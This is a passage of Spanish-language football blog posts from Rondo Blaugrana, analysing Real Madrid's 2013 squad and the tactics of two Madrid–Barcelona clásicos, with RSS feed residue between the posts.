A pesar de que Arbeloa y Carvajal son buenos jugadores, nada que ver con Marcelo y Coentrao, sin duda entre los cinco mejores del mundo en su posición. El único “pero” en el lateral izquierdo podría ser de índole mental. Mourinho hizo sentir a Coentrao que era tan titular como Marcelo, al margen de los problemas físicos del brasileño. Uno de los mejores marcadores de la liga como es Coentrao quizá no asuma con normalidad una eventual suplencia y pierda enteros en cuanto a activación. Si Ancelotti consigue solucionar este –posible-problema, el lateral izquierdo del Madrid será una pesadilla para los rivales juegue quien juegue.

Variantes: Nacho Fernández

Fiable y serio como lateral, no sería descabellado que se contara con él en caso de lesión.

Centrales: Sergio Ramos, Varane, Pepe, Nacho Fernández

El Madrid tiene un ligerísimo problema en la posición. A pesar de que Albiol no haya sido especialmente valorado por algún sector de público y prensa, su aportación desde el banquillo fue fundamental. Nacho Fernández tiene pinta de ser un central serio, de los que no se complican y mandan en su zona, pero la primera temporada en el puesto de central nunca es fácil y aún no ofrece las garantías de Albiol. Raphael Varane, por su parte, amenaza con ser uno de los centrales más dominantes de su generación. Aún así, conviene esperar a que se asiente definitivamente, porque sufrió para minimizar siquiera a Drogba y no fue capaz de discutir el tifón de Lewandowski, Reus y compañía.

Dicho esto, el Madrid tiene a tres de los centrales con mejores condiciones del mundo y un canterano que promete oficio y seriedad, con lo que la posición está, obviamente, más que cubierta. Una lesión inoportuna quizá pudiera precipitar algún fichaje.

Variantes: Arbeloa

Si fuera necesario el lateral podría situarse en el centro de la defensa con alguna garantía.

Medio defensivo: Xabi Alonso, Khedira, Illarramendi, Casemiro

La posición está extraordinariamente cubierta, a pesar de la lesión de Xabi Alonso. El talento defensivo de Illarramendi y su versatilidad son incuestionables. Quizá el ex de la Real Sociedad pueda acusar los metros que habrán de quedar a su espalda en muchos partidos pero la inteligencia de Asier parece fuera de toda duda. Más cuestionable podría ser el montante económico de su fichaje y el encaje psicológico que tenga en la plantilla, pero no es un asunto en el que deba detenerme. Khedira y Alonso no necesitan mucha presentación. El alemán, en concreto, fue uno de los mejores en el último año de Mourinho y se perfila como titular en las grandes citas.

Casemiro, por su parte, es un caso peculiar. Ha rendido a gran nivel en el puesto de interior defensivo pero da la impresión de que podría desenvolverse mejor si pudiera exhibir la profundidad de su recorrido. De momento no parece que vaya a ser un activo en la circulación de balón.

Medio creativo: Xabi Alonso, Modric, Isco, Illarramendi

Esta distinción entre medio defensivo y creativo es tan arriesgada como impropia de un análisis riguroso pero me he visto obligado a adoptarla para destacar una de las características más llamativas del medio campo madridista: apenas hay especialistas en la gestión de los primeros pases. Tras la lesión de Xabi Alonso, Modric es el elegido para llevar la batuta del equipo, acelerando un proceso que era irremediable. El croata no es un baluarte defensivo pero su sentido táctico, aún en transiciones desventajosas, le permite cortar muchos balones. Dicho de otra forma, Modric jamás podrá corregir por físico pero que nadie espere que sea gratis ganarle la espalda.

Isco en el doble pivote, o en el interior ofensivo, no es la opción óptima en partidos de máxima exigencia. La calidad del malagueño le permite rendir admirablemente en cualquier posición de medio campo en adelante, pero tras la baja de Ozil su concurso en la media punta es obligado. La pareja Modric-Isco es viable porque, como ya apunté, Modric jamás será una laguna defensiva pero no creo que se vea muy a menudo. Si el croata fuera baja no sería de extrañar que Illarra jugase en su lugar para permitir que Isco estuviera cerca de los delanteros.

Otra opción: Di María como interior

Hasta ahora he asumido, por comodidad, doble pivote con línea de tres por delante. Con Ancelotti no se puede desdeñar que un medio defensivo juegue flanqueado por dos interiores y, en esta tesitura, Di María podría desempeñar un rol similar al de la selección argentina.

Aún así, aunque un 4-3-3 es un dibujo que el Real Madrid podría plantear en más de un partido, considero que la distinción entre medios “defensivos” y “creativos”, pese a ser espuria, mantendría su poder explicativa con la única salvedad de las ventajas que el impresionante despliegue físico de Di María le aportaría al sistema.

Extremos: Cristiano Ronaldo, Gareth Bale, Di María

Demoledor. Un equipo que puede alinear a Cristiano Ronaldo en una banda y a Bale en la otra no puede conceptuarse de otra manera. Creo que no se requiere ningún análisis en este punto. Si acaso, mencionar que quien juegue en izquierda –CR, suponemos- se beneficiará del incontenible talento de Marcelo y de la serena contribución de Coentrao. Quien juegue en derecha podría contar con la incorporación de Carvajal o con el pase atrás a Arbeloa. La diferencia es más que notable. Di María no tiene, ni mucho menos, la calidad de estos dos jugadores pero su índice de actividad en ambas transiciones y su entrega le convierte en un suplente de auténtico lujo. Debería tener minutos de calidad.

Variantes: Jesé, Morata, Isco

Si Di María parece una versión menor de Bale por derecha, Jesé jugaría un rol similar respecto a Cristiano Ronaldo. La zona izquierda se complica si tenemos en cuenta que Morata ha evolucionado hasta comportarse como un delantero de banda solvente y certero en su ataque al área. De hecho, aunque las condiciones de Jesé son superiores, el sobrio rendimiento de Morata podría brindarle algunos minutos en banda. De cualquier modo, es más probable que Bale actúe en la izquierda en caso de baja de Cristiano o de permuta táctica. Incluso Di María parte con ventaja para ocupar la demarcación.

En cuanto a Isco, seré breve de nuevo. El Real Madrid le necesita en la media punta pero el malagueño puede jugar donde quiera.

Media punta: Isco, Modric

Hemos pasado de una zona sobrecargada a un déficit potencial en un par de días. Con la marcha de Ozil y Kaká y la lesión de Xabi Alonso, Isco se queda como titular indiscutible, toda vez que Modric ha de ser el medio campista que articule la salida de balón . El déficit, por supuesto, es únicamente numérico: Isco es el futbolista que puede inventarse cualquier jugada y Modric es el futbolista que jamás pierde un balón. Pocos equipos del mundo pueden presumir de contar con una posición doblada con dos titulares indiscutibles.

Variantes: Benzema

Le incluyo por pura calidad, pero su rol este año es el de 9 único e indiscutible del equipo. Tanto Bale como Cristiano podrían actuar en esa posición, pero ninguno de los dos aportarían la claridad en la circulación que Isco y Modric aseguran.

Delantero centro: Benzema, Morata, Jesé

La marcha de Higuaín deja un panorama cuando menos curioso, me atrevo a decir. Benzema, uno de los grandes talentos del fútbol contemporáneo, es, por utilizar una expresión que me ahorrará líneas, un “pecho frío”. Con todo lo que eso conlleva. Allí donde a otros les tiemblan las piernas, Benzema permanecerá impasible. No se elevará sobre las circunstancias por coraje; tampoco mermará su rendimiento afectado por la presión. Karim no engaña: es calidad pura sin garantía de continuidad. Quizá estos rasgos de su carácter hubieran aconsejado el fichaje de un segundo delantero experimentado.

Jesé y Morata, no obstante su gran calidad, no me parece que puedan suplir al Pipa. Más de cien goles en cinco años, sin haber sido titular indiscutible, es una cifra modesta en la era de Cristiano y Messi pero meritoria en términos absolutos. De nuevo Jesé me parece más talentoso que Morata pero este tiene hechuras de futbolista consolidado. Confieso que en el caso Jesé-Morata revelo mis preferencias personales. No está claro cuál de los dos gozará de más minutos aunque la teoría indica que Jesé los cobrará en banda y Morata en punta. No estoy seguro de que vaya a ser esa la distribución espacial.

Variantes: Cristiano Ronaldo

¿Hace falta más? Cristiano Ronaldo como delantero, tanto en solitario como formando en el ya mítico doble nueve junto a Benzema, garantiza goles y actividad. Obviamente varias de sus virtudes diferenciales se manifiestan desde la banda, pero Ancelotti ya ha mostrado su voluntad de colocarle en punta en algún partido. Si el equipo le pide que actúe de nueve el portugués también rendirá.

Balance

La plantilla del Madrid es impresionante. Desde mi punto de vista dispone del once más potente de la élite y variantes suficientes para que las lesiones no mermen su potencial. Tanto por fuera con Marcelo, Cristiano Ronaldo y Bale como por dentro con Isco, Modric y Benzema, no hay altura del campo a la que el Real Madrid no pueda mezclar posesión y ruptura.

No obstante, no puedo evitar la sensación de que la política de fichajes del Real Madrid ha sido un tanto errática. Tras varios años en los que Mourinho imponía incorporaciones validadas exclusivamente por su adecuación al sistema regresa el añejo aroma del intercambio de cromos. Isco es un jugador adecuado para mejorar la circulación de balón, aunque parte de su potencial se oriente al desborde. Junto a Modric y Benzema debería formar una columna creativa irrompible. Sin embargo, la llegada de Gareth Bale parece incidir en un aspecto del juego que el Real Madrid dominaba ya a la perfección, como es el contragolpe. Con Ozil se pierde magia y con Higuaín se marchan unos cuantos goles, de manera que no tengo del todo claro que la plantilla del Madrid sea más competitiva que la del año pasado.

En cualquier caso, para mí el Real Madrid tiene más talento por demarcación que cualquier otro grande europeo.

Modric

 

Apéndice: Los futuros clásicos. Neymar y Bale

Me parece que un análisis del Real Madrid y del Barça quedaría incompleto si no dedicásemos algo de tiempo a valorar el modo en que ambos equipos pueden explotar sus virtudes y castigar las escasas debilidades del rival. Como dije al inicio, hace unos años el enfrentamiento del Madrid y del Barça habría puesto apellidos a la cima del fútbol europeo. Esa situación ha cambiado y varios equipos presentan su candidatura a la Champions League, pero la liga BBVA sí se decidirá en los clásicos y eso ya basta para intentar caracterizar sus posibles dinámicas.

Es obligatorio comenzar aceptando que el Barça ha sido superado claramente por el Madrid en la mayor parte de los últimos enfrentamientos; quizá el aspecto más dramático del relativo declive culé fuera la incapacidad para desequilibrar a cualquier equipo bien trabajado. La inoperancia ofensiva del Barça fue tan dolorosa que parece imposible que un solo fichaje la solucione y, sin embargo, Neymar es como el bisturí de un cirujano, capaz de provocar una reacción en cadena que le dé un vuelco a la situación.

Neymar

En este punto quién más, quién menos, estará pensando en el correctivo que Neymar asestó a Arbeloa en la Copa Confederaciones. Quizá, incluso, alguien piense en el apodo del lateral madridista. Es justo destacar que Arbeloa es un defensor soberbio en el uno contra uno: si Neymar fuera un regateador puro se estrellaría varias veces contra una pared. Por suerte para el Barça Neymar es mucho más que un regateador y su veloz interpretación del juego no puede ser estorbada por un solo rival. El brasileño exigirá, en el contexto de los clásicos, que uno de los mediocampistas del Madrid acuda en auxilio de Arbeloa. Coincide que a la espalda de Neymar está Andrés Iniesta que, a poco que llegue en forma, reclamará también su cuota de atención. Esta doble amenaza quizá aconseje que Khedira actúe en el interior derecho blanco. Habida cuenta de que Messi justifica por sí mismo una maraña defensiva específica en el otro lado del campo, es impensable que el Madrid plantee un intercambio de golpes sin sufrir más riesgo del aconsejable.

Porque, parece claro, la maquinaria defensiva perfecta que llegó a ser el Madrid en 2012 no volverá. Si el Madrid se acula en el área frente a Neymar, Messi, Iniesta y Cesc es probable que el duelo de ocasiones no le sea favorable: Neymar y Messi son muy capaces de enchufar los dos primeros balones que les lleguen y no necesitan ni siquiera que sean buenos balones. Para conjurar ese riesgo llega Isco y se consolida Modric, capaces de establecer fases de dominio posicional imprescindibles para enfrentarse con éxito al Barça. En este contexto el equipo culé tiene mucho que perder, a no ser que la presión avanzada del Tata alcance la excelencia en unos pocos meses. El Barça no puede bascular a la velocidad que el Madrid alcanzaría y Xavi –si es titular- e Iniesta no tardarían mucho en descuidar sus tareas. Por otra parte, Mascherano sufre si la defensa se asienta en el borde del área y, en definitiva, el Barça pierde toda su identidad. En caso de fallo el Madrid no está inerme en transición defensiva, ni mucho menos, juegue quien juegue. Como ya comenté, Modric es un activo por lo táctico y cualquiera de sus acompañantes puede serlo por físico. Aún así, el Barça de Cesc y Neymar tiene argumentos para castigar una posesión insegura.

No obstante, el Madrid no supo dominar los clásicos hasta que no fue capaz de mezclar posesión y contragolpe de modo convincente, contexto en el que emerge la figura de Ozil, elegante y gigantesca. Mesut logró, partiendo de banda, someter al Barça desde su calidad y lectura de juego. El único lateral que podría haber descifrado a Ozil luchaba por su vida y el alemán se convirtió en una pesadilla contra la que no había antídoto, ni individual ni colectivo. Modric era el cómplice necesario para el asesinato de Ozil. El croata es capaz de pasearse por la frontal del área el tiempo que le pidan, sin preocuparse por los rivales que le rodeen: ni perderá el balón ni fallará el pase.

Esta situación no se podrá repetir. Lo más normal es que Modric esté en la base de la jugada, independientemente de que Xabi Alonso se recupere de su lesión. Si Alonso es titular el Madrid ganará solidez y desplazamiento de balón a costa de perder una ruptura entre líneas que puede ser vital para castigar la presión culé. En cualquiera de los casos la media punta será para Isco que, si bien es capaz de hacer lo que sea -¿cuántas veces lo habré dicho ya?- no creo que pueda mantener la posesión al borde del área con la calma y criterio de Modric.

Pero el cambio fundamental es que Ozil ya no actuará contra el Barça y será Gareth Bale quien ocupe el extremo diestro. Jordi Alba y Adriano no pueden anular a Bale… pero pueden intentarlo. Si se trata de correr Alba no es cojo y Adriano es un defensor de primer orden que sabe perfectamente cuándo subir y cuando mantener la posición. Mascherano, que era incapaz de oler la diagonal de Ozil, verá a Bale de frente y en carrera. No importa que sea más lento: Mascherano aceptará encantado la apuesta porque, a diferencia de lo que ocurría con Ozil en banda, las cartas no están marcadas.

Bale

En este punto es obligatorio citar el estupendo análisis que Abel Rojas dedicó recientemente a Gareth Bale. Confieso que no he seguido lo suficiente el último año del Tottenham como para discutir las premisas del artículo así que acepto sin más la tesis de que Gareth Bale ha enriquecido su repertorio de tal manera que puede bajar a pedir el balón para contribuir a desatascar el juego. Acepto igualmente que sea un jugador más cerebral que agresivo, más Modric que Cristiano Ronaldo, si se quiere llevar la disyuntiva a sus extremos. En definitiva, acepto que es un fichaje de escándalo que rendirá desde sus primeros partidos. Lo que deberíamos preguntarnos es, tal y como yo lo veo, si estas virtudes “complementarias” –eventual relevancia en la posesión y comportamiento reflexivo- aportarán contenido creativo al juego del Real Madrid.

Solo el tiempo lo dirá pero en este caso me corresponde aventurar un juicio. El hecho de que Bale sea un jugador diferencial no convierte en diferencial su incorporación al Madrid.Tengo varias razones para pensar así pero dos de ellas se imponen a las demás. En primer lugar, Bale no cubre una necesidad evidente del equipo. Como dije, acepto la tesis de que puede ser un jugador pausado y combinativo, pero no va a mejorar ni a Modric, ni a Isco ni a Xabi Alonso. En el mejor de los casos será un acompañante digno. Por otra parte, me cuesta mucho imaginar que el contragolpe del Madrid de Mourinho sea perfectible. Y lo digo en términos absolutos, no relativos. El Real Madrid era una máquina de destrucción masiva en la transición ofensiva. El hecho de que con Bale sea más masiva no hará que destruya más veces.

Además, el Madrid seguirá teniendo que enfrentar los mismos muros del año pasado en la liga BBVA y a rivales capaces de mezclar varios discursos, como el Borussia o el Bayern. Tanto los primeros como los segundos son capaces de cortocircuitar el contragolpe del Madrid, con y sin Bale. Si un muro resiste contra un ariete de acero, golpearlo con un segundo ariete de hierro no solucionará nada. Los entrenadores de Primera División que pudieron ajustar las marcas sobre Messi y Ronaldo podrán combatir el aclarado que el Madrid consiga generar en derecha para Bale. Lo único que no se puede controlar es la genialidad, y esta es mi segunda razón para discutir que Bale mejore al Madrid: sin Ozil el equipo blanco pierde uno de los bastiones de su versatilidad. Ozil validaba los contragolpes gracias a su último pase, desatascaba aglomeraciones con el cambio de juego y, cuando estaba inspirado, aportaba sentido a cada balón. A veces demasiado rápido, cierto, y otras con un punto de indolencia, pero siempre indescifrable, complejo y, lamento repetirme, genial.

El matiz entre la amenaza silenciosa de Ozil y la potencia controlada de Bale carecerá de sentido si el Barça no entierra para siempre la posesión defensiva. Quizá he dado la impresión de que el Madrid tiene más problemas que el Barça: no es así en absoluto y no era mi intención. La plantilla del Madrid es más rica, más profunda y coherente, más competitiva en defensa y en ataque. Pero el Barça, es hora de decirlo, tiene a Messi. ¿Suficiente para competir contra el Real Madrid? Creo que no… a no ser que el paso al frente de Cesc sea el definitivo. Activar a Messi, Neymar e Iniesta es el nudo gordiano del Barça y el único que puede empuñar la espada para cortarlo es Cesc Fábregas.

]]> https://www.rondoblaugrana.net/2013/09/analisis-de-las-plantillas-del-barca-y.html/feed 13 EL FÚTBOL TAMBIÉN ES DE LOS ENTRENADORES (PARTE I) https://www.rondoblaugrana.net/2013/02/el-futbol-tambien-es-de-los.html?utm_source=rss&utm_medium=rss&utm_campaign=el-futbol-tambien-es-de-los https://www.rondoblaugrana.net/2013/02/el-futbol-tambien-es-de-los.html#comments Fri, 01 Feb 2013 02:31:00 +0000 https://www.rondoblaugrana.net/2013/02/el-futbol-tambien-es-de-los-entrenadores-parte-i.html Por Rafael Castillo, Szakach

Decía nuestro compañero Otsuka en la entrada de ayer que el fútbol es de los jugadores y que cada vez vemos menos sorpresas tácticas en los enfrentamientos entre los dos mejores equipos del momento. Y no le falta razón.

Que el fútbol es de los jugadores  es así desde que el tiempo es tiempo y con el título de esta entrada no pretendo yo modificar el orden establecido. Nada más lejos, al César lo que es del César.

Ignorantes y vanidosos seríamos, si pretendiésemos adivinar sin informaciones de dentro de los vestuarios, qué es lo que Mourinho, Roura o Vilanova han intentado transmitir a los suyos en los días previos y en que manera lo han logrado o no. Qué han entrenado durante la semana, qué lleva a los jugadores a decidir jugar de una u otra manera, en una u otra posición y con unos u otros movimientos. Si deciden hacerle caso a los entrenadores o si juegan siguiendo su instinto y tan solo pequeños consejos y directrices.
Lo máximo que podemos hacer humildemente desde la distancia es explicar lo que ha pasado en el partido, y cuáles son las razones de que así se desarrolle, independientemente de cuáles fueran las ideas previas de los dos equipos o lo que pasa por la mente de los protagonistas. Ayer lo analizábamos desde el punto de vista técnico y hoy lo ilustraremos desde el táctico, desgranando como buenamente podamos en esta entrada, lo sucedido durante los primeros 45 minutos.

_________________________________________________________________________________

El partido empezó como esperábamos, el FCB saltó al campo con su once de gala, un previsible 433 con Iniesta de falso 11 (esta vez más falso que nunca) Por supuesto, puesta una vez la pelota en juego, prácticamente no pudimos apreciar el dibujo sobre el cesped del Bernabeu. La diferencia entre la pizarra y lo que sucede en el terreno de juego se vuelve insalvable con hombres con la movilidad de Cesc, Iniesta o Messi.

El Real Madrid por su parte, pese a sus numerosas bajas arrancó con su 11 más lógico, con un 4231 que se amolda a la perfección para la presión de la salida culé y para un repliegue en 451. La formación más común de la era Mourinho cumplía todos los objetivos y le daba seguridad al equipo al partir de un planteamiento ya conocido. Jose Callejón era la gran novedad del equipo titular, como ya comentábamos los días previos, seguramente entre otras, con la intención de cortar las subidas y la influencia de Jordi Alba.

Los problemas en la salida de balón de los culés se vieron desde los primeros instantes. Benzema presionando a los centrales, Ozil como ya es habitual en estos partidos se dedicaría a ensuciar, esta vez con mucho éxito, el trabajo de Sergio Busquets. Cristiano y Callejón taparían la segunda alternativa de salida hacia los laterales y por último Alonso y Khedira acompañarían a Xavi y Cesc en los momentos de acudir a la recepción. La presión del Real sigue superando a la salida del Barcelona, que no termina de encontrar solución a este problema, especialmente cuando la fuerza física de ambos conjuntos está intacta. La ausencia de desplazamiento en largo de calidad fue más que llamativa. La inexistencia posicional de un extremo izquierdo real, que pudiese recibir un pase en largo de Pique, y la poca capacidad de Puyol para los mismos, no ayudaron en nada al conjunto catalán en esta tarea.

En los primeros minutos y tras una pérdida de Xavi el Real Madrid gozó de su primera oportunidad con un libre directo ejecutado por Cristiano Ronaldo. Llamó la atención una configuración de la barrera del Barça nada habitual, con los hombres más altos situados en el centro de la misma, conscientes del gusto por el golpeo plano  del portugués, dejando absolutamente desprotegida la posibilidad de que los delanteros del Madrid fuesen destinatarios de un centro al área.

La diferencia de sobrecarga en las áreas marcó parte de la dinámica del partido durante los primeros 45 minutos. El Madrid como es costumbre, pobló el área rival con 3 o 4 hombres siempre que tuvo ocasión. Esta situación habitualmente permite a Xabi Alonso abrir el balón hacia una banda desatendida, o buscar el juego directo. Además también permite desmentir de manera categórica a aquellos que tildan al Madrid de ser un equipo conservador.

Por su parte, el Barcelona prefiere mantener la superioridad numérica no en el borde del área, sino a la altura del centro del campo, lo que le permite controlar el partido. No obstante, la constante presencia de Messi como cuarto o quinto centro campista, sumada a la desaparición de Iniesta del extremo, quizá se antojó excesiva, y solo en posesiones largas pudimos ver a los hombres de Roura apareciendo de manera numerosa en la frontal blanca.

El plan del Real Madrid funcionó durante los primeros minutos y buena parte del primer periodo, la presión surgía efecto, de manera que el balón se robaba en campo rival. La mayoría de ocasiones del equipo blanco llegaban por este camino. A esta presión favorecía la altura de la defensa blanca, constantemente establecida en la medular ante la salida culé y replegada a una altura magnifica y muy valiente y efectiva al estar acompañada por intensidad en sus centrocampistas, a la hora del repliegue.

El éxito en la presión marcó el devenir de toda la primera parte, los hombres del Barcelona comenzaron a bajar a la ayuda a la hora de sacar la pelota. El primero que vio un problema fue Andrés Iniesta, que abandonó constantemente su posición de extremo para acudir a la ayuda. Este movimiento, tremenda mente efectivo en el partido de Liga fue esta vez escasamente aprovechado por Jordi Alba, Fabregas o Messi. Se acabaron  acumulando demasiados hombres en la organización, obviando la gran oportunidad que otorga el aprovechamiento de este espacio creado, aunque conlleve asumir un riesgo mayor.

La ausencia de un extremo izquierdo o un jugador que aprovechase ese espacio culminó con un desastre en la generación de amplitud y en definitiva, espacio para el juego de los interiores, la mejor arma del Barcelona. Callejón y Essien podían despreocuparse y acudir constantemente a una posición mas centrada de lo habitual.

En los momentos en los que por la enorme calidad de sus jugadores el Barcelona conseguía avanzar, permitir la subida de Jordi Alba y poblar la última línea las ventajas eran evidentes, mas opciones de pase y menos presión sobre el poseedor del balón.

Por la banda derecha Dani Alves, si que fue quién de entender esta situación, y aun vilipendiado por muchos a día de hoy, son cuestiones como su gran ataque al espacio las que le han llevado a ser uno de los mejores laterales del mundo los últimos tiempos. Con una salida «a lo España» Xavi Hernandez cubría la posición del brasileño ante una posible pérdida, Pedro creaba el espacio y Alves lo ocupaba. Obligando además a recular nada menos que a Cristiano Ronaldo. El resultado fue un Alves (con mayor o menor acierto) constantemente presente en campo contrario durante la primera parte.
 

La salida de balón culé, fue el hilo conductor del argumento táctico de la primera mitad, concepto que con casi toda seguridad protagonizará los próximos enfrentamientos entre estos dos equipo. Varios han sido ya los planes de los entrenadores culés para superar el Laberinto de Creta en el que se ha convertido a día de hoy la presión del Real Madrid. Una táctica perfeccionada, que es ya la mejor arma tanto para la ofensiva como para la defensa del equipo de Mourinho, el Dédalo moderno. No obstante parece que el Barça cada partido está mas cerca de encontrar una salida, que acabará por encontrar tarde o temprano.

Os dejamos un link con todas las imágenes en su tamaño original, y os emplazamos a volver mañana para comprobar lo que ha pasado tácticamente en la segunda parte del partido. Si el Barça ha sido capaz de encontrar solución a sus problemas de salida de balón y si finalmente se ha conseguido imponer en campo rival o no.

Y se queda una pregunta en el aire para que intentéis aclararnos los lectores ¿Cómo solucionaríais vosotros el problema que supone la presión del Real Madrid?

Descargar imágenes

]]> https://www.rondoblaugrana.net/2013/02/el-futbol-tambien-es-de-los.html/feed 26 EL FÚTBOL ES DE LOS JUGADORES https://www.rondoblaugrana.net/2013/01/el-futbol-es-de-los-jugadores.html?utm_source=rss&utm_medium=rss&utm_campaign=el-futbol-es-de-los-jugadores https://www.rondoblaugrana.net/2013/01/el-futbol-es-de-los-jugadores.html#comments Thu, 31 Jan 2013 01:59:00 +0000 https://www.rondoblaugrana.net/2013/01/el-futbol-es-de-los-jugadores.html                                                                 Por Otsuka

Hemos recorrido un largo viaje desde aquella excelsa final de Copa de 2011, que sirvió de obertura a la Gran Guerra del fútbol. Hoy se ha culminado una evolución que ha tenido tantas frases como partidos se han jugado, pero que a grandes rasgos puede resumirse en un movimiento principal: el que va de la tiza en la pizarra a la cal en la cara de Jordi Alba, el que va de los entrenadores a los jugadores. Ya no es un enfrentamiento marcado por la capacidad táctica de los conjuntos, cada vez hay menos sorpresas. El Madrid y el Barça saben a la perfección lo que va a ocurrir sobre el campo, incluso saben cuándo van a sufrir y cuándo van a disfrutar. Hoy más que nunca el partido lo ha decidido el talento y la grandeza de cada uno de los jugadores. Para bien… y para mal.

1. Las debilidades que explican el inicio del partido.
                “No le demos al mundo armas contra nosotros, porque las utilizará” (Flaubert)
                                                 
Al grano y sin divagaciones. El Madrid sale al campo consciente de que su plan está validado por la debilidad que supone Xavi Hernández en los clásicos. Nadie duda que va a perder tres balones, y que dos serán en la frontal del área. Xavi ha leído muy mal la primera parte, y la presión alta del Madrid, que ni de lejos ha sido la más notable de la era Mourinho, ha provocado que girase una y otra vez sin más objetivo que protegerse. Cristiano Ronaldo trabajando en la recepción de Dani Alves y Callejón y Khedira a la espalda han sido suficientes para que Xavi le regalase al Real Madrid argumentos competitivos. Vuestro plan, decía el Barça, funcionará mientras os dure el físico.
Fueron quince minutos complicados. Khedira apuntalaba a Ozil en la primera fase de la presión, Callejón corría como un pollo sin cabeza y Xabi Alonso impedía que Messi retuviera el balón, auxiliado por la libertad de centrales, a los que Pedro no alcanzaba a fijar. Lo previsto, pero el Barça no puede desactivar al Madrid con la posesión en 2013. Eso se acabó, al menos de momento. Y no me parece que lo hayan intentado a fondo. Xavi y Cesc se alternaron la base de la jugada con Sergio Busquets ligeramente más abierto de lo común. Ozil quizá explique la posición más lateral de Sergio, como también ayuda a entender que Jordi Alba no cruzase la línea de medio campo en la primera parte puesto que ningún jugador del Barça ocupaba los huecos de la banda izquierda. El alemán exigió una atención desmesurada.
No había salida para el Barça porque Xavi no propone y Cesc se achica en estos partidos. Habrá tiempo para comentar algo sobre Cesc, pero las sensaciones han sido realmente malas, incluso peores que en su era fallida de falso nueve. En este contexto tan complicado, con la salida del Barça limitada a marear la pelota para tomar un poco de aire, Cristiano Ronaldo mete mucho miedo, y durante diez minutos mide a Dani Alves y a Piqué anticipando la temida escena de una galopada sin respuesta que, finalmente, no llegó a convertir. Lo que sí consigue CR es sacarle una amarilla a Piqué, creando sin duda un riesgo en la defensa del Barça al que Gerard responde con una lección de clase y sangre fría. Si hoy no ha jugado Piquenbauer lo ha hecho alguien que le imita a la perfección.
El Barça crece y discute la presión del Madrid desde, al menos, el cuarto de hora, pero en esta primera parte quisiera centrarme en las debilidades que explican tanto el sufrimiento del partido como la inconcreción del Real Madrid. Benzema ha sido un perrito faldero, sin instinto ni pegada. Ha tenido oportunidades, pero no levanta la cabeza cuando tira y, sea lo que sea la intensidad, Higuaín le podría dar un máster al respecto. Benzema es juego o no es nada, y se asfixia cuando el partido no es lo que se imagina. Hoy el partido le pasó por encima, y es un jugador que carece del coraje para imponer su voluntad. Higuaín es mucho menos que Benzema pero jamás decepciona. Hoy Karim, capaz de tumbar a Puyol con un amago se ha vuelto a su casa como un cordero asustado por los lobos.
Si Xavi y Benzema son debilidades relativas, Callejón lo es en términos absolutos. Es el jugador menos técnico de los veintidós que saltaron al Bernabéu, pero no se sabe con qué pretende Mourinho compensarlo. Si tuviera que aventurar cuál ha sido el rol de Callejón, diría que ha interpretado la versión del Di María interior tal y como juega con Argentina, pero en este caso, interior diestro. Esto es, en la presión a Callejón le correspondía ensuciar las triangulaciones del sector izquierdo gracias a su intensidad, y en transición su rol era doblar a Ozil por dentro para arrastrar marcas y liberar pasillos. Sin embargo, su falta de técnica ha sido un peaje demasiado caro. Ha fallado pases que no eran fáciles para casi nadie, pero que son rutinarios para Modric, Iniesta o Alves, y eso termina pesando mucho. El déficit técnico en un clásico equilibrado elimina al jugador del escenario.
Creo que con esto se podría contextualizar el dominio del Madrid en su famosa salida en tromba y también la supervivencia del Barça. Con estos dos equipos cualquier debilidad cuesta sangre, pero hay tanta calidad que no faltan médicos dispuestos a hacer un torniquete. Dos jugadores fuera de lo común se han elevado por encima de todos y han convertido el partido en una sucesión de golpes. El Madrid pega en el hígado porque Ozil es muy grande, pero el Barça rompe dientes porque Iniesta es sublime.

2. El talento explica la ligera ventaja global del Barça
                “La mente no es un recipiente que se llena, es un fuego que se enciende” (Plutarco)

Y el que se incendió fue Iniesta. Tengo tantas cosas que decir sobre su partido… y no encuentro las palabras. Así que me limitaré a la mera descripción, puesto que no soy capaz de interpretar todo lo que hace Andrés. Apenas me alcanza para intuir algunas dinámicas básicas de su juego, y la más evidente fue que en algún momento hacia el cuarto de hora Iniesta clavó su báculo en el puente de Khazad dum y le dijo al Madrid que no podía pasar. Abandonó la banda y se unió al medio campo para comenzar la sinfonía.
No quisiera exagerar, y tiempo habrá para que alguien me corrija, pero creo que el Barcelona entra en el partido porque Iniesta lo ha decidido, y por casi nada más. No quiero decir que el equipo haya estado mal; eso sería falso. Pero la ligera ventaja madridista se ha tornado en posesiones de duración media gracias a que Iniesta puede retener el balón bajo cualquier circunstancia. Su desempeño técnico ha sido de otra galaxia y su lectura de juego, sencillamente, indefendible. Algo pasa con Iniesta. Algo pasa, y hay que decirlo. El Madrid ha encontrado la manera de minimizar a Leo Messi; ha conseguido construir un contexto en el que las virtudes de Messi se manifiestan tan mediatizadas que los defensores blancos le reciben con ventaja. Pero no hay manera de detener a este Iniesta, al eterno balón de bronce…
A su rueda el Barça se ha metido en el partido, aunque no fue el único protagonista del resurgir. Por primera vez, Dani Alves ha jugado mejor que Jordi Alba. Sus llegadas no son tan espectaculares, pero está recuperando la habilidad para situarse justo en el lugar que le permita influir a la vez en ataque y en defensa, capacidad marca de la casa. Mientras Ozil se merendaba a Jordi Alba, e incluso Essien le superaba con claridad, Dani Alves lograba marcar con cierta dignidad a Cristiano y ofrecía opciones para que Xavi respirase en la asociación en corto. La actuación de Jordi en el segundo tiempo, en fase ofensiva, no debería distraernos: ha sido un actor menor que le ha costado mucho sudor a Puyol y Piqué.
Pero esa autopista de la banda izquierda debe contextualizarse. En primer lugar, Michael Essien, no ha estado exigido como lateral, porque Iniesta ha actuado casi todo el partido de Interior. Así, ha podido hacer esfuerzos de corto recorrido en la defensa posicional, limitado a llenar los huecos que dejaba Khedira cuando el alemán adelantaba metros para apoyar a Ozil. Y ahí es un jugador que siempre ha tenido muy buena lectura. En transición ofensiva Essien ha estado a muy buen nivel, midiendo sus incorporaciones y sacando más de un centro digno de alabanza. 
En segundo lugar, ese remanso de metros en el que Essien ha campeado se creó gracias al espectáculo de Ozil. El Real Madrid ha establecido un escalón intermedio en su transición: si habitualmente asistimos al pase en diagonal de Xabi Alonso para Cristiano Ronaldo, hoy la salida del Madrid ha consistido en Ozil, auténtico jugador contextual en los clásicos. Jordi Alba, insisto, no ha sabido defenderle, pero tampoco supieron en su momento ni Adriano ni Abidal. Ozil ha nacido para los clásicos, para demostrar que ni es lento, ni se borra de los partidos. Al contrario, ha sido una pesadilla y Busquets jamás ha podido llegar a tiempo a las ayudas. Desde el regate de Ozil y el cambio de juego para Cristiano el Madrid se metía en campo contrario.

